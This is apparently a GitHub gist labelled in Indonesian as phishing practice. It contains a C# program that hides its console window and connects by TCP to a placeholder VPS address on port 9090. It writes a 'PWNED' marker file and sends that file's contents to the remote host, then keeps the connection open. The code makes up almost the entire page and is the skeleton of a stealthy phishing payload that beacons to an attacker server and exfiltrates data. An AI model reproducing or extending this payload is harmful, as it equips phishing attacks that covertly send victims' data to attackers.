Skip to content

Instantly share code, notes, and snippets.

@sharpicx
Created December 28, 2023 13:05
Show Gist options
  • Save sharpicx/aa60f6e52de825867d9f21e9d02bc9d1 to your computer and use it in GitHub Desktop.
Save sharpicx/aa60f6e52de825867d9f21e9d02bc9d1 to your computer and use it in GitHub Desktop.
latian phising sama bang emants
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace testing_bytes_for_the_binary
{
internal class Program
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static StreamWriter streamWriter;
static void Main(string[] args)
{
const int SW_HIDE = 0; // window status hiding = 0
// call ShowWindow() | Get the Console Window Handler | Get the Window Status
ShowWindow(GetConsoleWindow(), SW_HIDE);
using (TcpClient tcpClient = new TcpClient("<vps ip>", 9090))
{
using (Stream stream = tcpClient.GetStream())
{
using (StreamReader reader = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
string fileTXT = "pwned.txt";
string content = "PWNED!\nSpentera was here!";
File.WriteAllText(fileTXT, content);
StringBuilder outputHandler = new StringBuilder();
string newContent = File.ReadAllText(fileTXT);
streamWriter.WriteLine(newContent);
streamWriter.Flush();
while (true)
{
reader.ReadLine();
}
}
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment